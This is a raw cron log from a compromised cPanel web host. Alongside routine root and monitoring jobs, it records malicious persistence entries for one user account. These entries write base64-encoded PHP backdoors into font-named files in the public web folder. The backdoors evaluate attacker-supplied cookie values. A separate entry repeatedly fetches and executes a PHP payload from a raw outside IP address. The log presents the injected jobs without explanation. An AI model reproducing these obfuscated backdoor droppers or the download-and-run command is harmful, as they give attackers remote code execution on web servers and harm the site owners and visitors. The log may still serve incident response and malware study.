Sep 21 18:23:01 ip-184-168-122-23 CROND[27268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:23:01 ip-184-168-122-23 CROND[27267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:23:01 ip-184-168-122-23 CROND[27270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:23:01 ip-184-168-122-23 CROND[27271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:24:01 ip-184-168-122-23 CROND[27368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:24:01 ip-184-168-122-23 CROND[27370]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:24:01 ip-184-168-122-23 CROND[27373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:24:01 ip-184-168-122-23 CROND[27371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:24:01 ip-184-168-122-23 CROND[27372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:25:02 ip-184-168-122-23 CROND[27550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:25:02 ip-184-168-122-23 CROND[27551]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 18:25:02 ip-184-168-122-23 CROND[27552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 18:25:02 ip-184-168-122-23 CROND[27554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:25:02 ip-184-168-122-23 CROND[27549]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 21 18:25:02 ip-184-168-122-23 CROND[27553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:25:02 ip-184-168-122-23 CROND[27555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:26:01 ip-184-168-122-23 CROND[27664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:26:01 ip-184-168-122-23 CROND[27666]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:26:01 ip-184-168-122-23 CROND[27668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:26:01 ip-184-168-122-23 CROND[27667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:26:01 ip-184-168-122-23 CROND[27669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:27:02 ip-184-168-122-23 CROND[27773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:27:02 ip-184-168-122-23 CROND[27774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:27:02 ip-184-168-122-23 CROND[27778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:27:02 ip-184-168-122-23 CROND[27780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:28:01 ip-184-168-122-23 CROND[27871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:28:01 ip-184-168-122-23 CROND[27873]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:28:01 ip-184-168-122-23 CROND[27874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:28:01 ip-184-168-122-23 CROND[27875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:28:01 ip-184-168-122-23 CROND[27876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:29:01 ip-184-168-122-23 CROND[27981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:29:01 ip-184-168-122-23 CROND[27982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:29:01 ip-184-168-122-23 CROND[27984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:29:01 ip-184-168-122-23 CROND[27988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:30:01 ip-184-168-122-23 CROND[28092]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 18:30:01 ip-184-168-122-23 CROND[28094]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:30:01 ip-184-168-122-23 CROND[28095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:30:01 ip-184-168-122-23 CROND[28096]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 18:30:01 ip-184-168-122-23 CROND[28097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:30:01 ip-184-168-122-23 CROND[28102]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 18:30:01 ip-184-168-122-23 CROND[28098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:30:01 ip-184-168-122-23 CROND[28099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:31:01 ip-184-168-122-23 CROND[28396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:31:01 ip-184-168-122-23 CROND[28398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:31:01 ip-184-168-122-23 CROND[28399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:31:01 ip-184-168-122-23 CROND[28400]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 18:31:01 ip-184-168-122-23 CROND[28401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:32:01 ip-184-168-122-23 CROND[28507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:32:01 ip-184-168-122-23 CROND[28509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:32:01 ip-184-168-122-23 CROND[28510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:32:01 ip-184-168-122-23 CROND[28512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:32:01 ip-184-168-122-23 CROND[28513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:33:01 ip-184-168-122-23 CROND[28617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:33:01 ip-184-168-122-23 CROND[28620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:33:01 ip-184-168-122-23 CROND[28621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:33:01 ip-184-168-122-23 CROND[28619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:34:01 ip-184-168-122-23 CROND[28730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:34:01 ip-184-168-122-23 CROND[28731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:34:01 ip-184-168-122-23 CROND[28734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:34:01 ip-184-168-122-23 CROND[28737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:34:01 ip-184-168-122-23 CROND[28738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:35:01 ip-184-168-122-23 CROND[28872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
